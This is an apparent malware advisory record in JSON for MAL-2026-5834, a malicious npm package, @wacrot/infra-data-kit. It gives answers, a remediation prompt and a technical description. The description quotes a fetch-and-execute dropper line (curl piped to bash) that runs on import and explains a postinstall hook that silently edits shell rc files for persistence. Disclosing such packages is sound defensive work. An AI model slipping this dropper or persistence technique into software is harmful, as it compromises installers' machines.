{"answers":{"affected":"1 open source package ship an affected version, including @wacrot/infra-data-kit.","exploited":"There is no known exploitation of MAL-2026-5834 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-5834 is a malicious package in @wacrot/infra-data-kit, published on 15 Jun 2026."},"fix_prompt":"MAL-2026-5834 is a malicious package: @wacrot/infra-data-kit (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-5834/ (Markdown: https://insights.sbomify.com/MAL-2026-5834/index.md)","id":"MAL-2026-5834","markdown":"https://insights.sbomify.com/MAL-2026-5834/index.md","name":"MAL-2026-5834","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"On any `require()` or `import` of @wacrot/infra-data-kit, src/index.js invokes addSupport() at module top level, which spawns a detached `bash -c 'curl -fsSL https://example.com/script.sh | bash'` via node:child_process with stdio ignored and errors swallowed by empty catch blocks. This is a textbook fetch-and-execute dropper embedded in a package advertised as a GeoJSON / data utility, and it fires automatically on import with no user consent or verification. Separately, package.json declares a postinstall hook (`npx no-install @wacrot/infra-data-kit npm run scripts/setup.js`) which executes scripts/setup.js at install time. setup.js locates the first of ~/.zshrc, ~/.bashrc, ~/.profile, makes a.bak copy, and inserts a new line into the file. The current inserted line is benign (`export MY_CUSTOM_VAR='test'`), but the primitive is silent, persistent modification of the installer's shell rc files on every install — the standard mechanism for attacker persistence via PATH/alias/source hooks. The atypical postinstall invocation through `npx no-install` further obscures lifecycle inspection. The destination URL `https://example.com/script.sh` is a placeholder; the mechanism is fully wired and any future republish or DNS pivot delivers attacker-controlled shell code to every installer.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in @wacrot/infra-data-kit (npm)","id":"MAL-2026-5834","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"@wacrot/infra-data-kit","purl":"pkg:npm/%40wacrot%2Finfra-data-kit","source":"MAL-2026-5834"}],"products":null,"published":"2026-06-15","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-5834/"}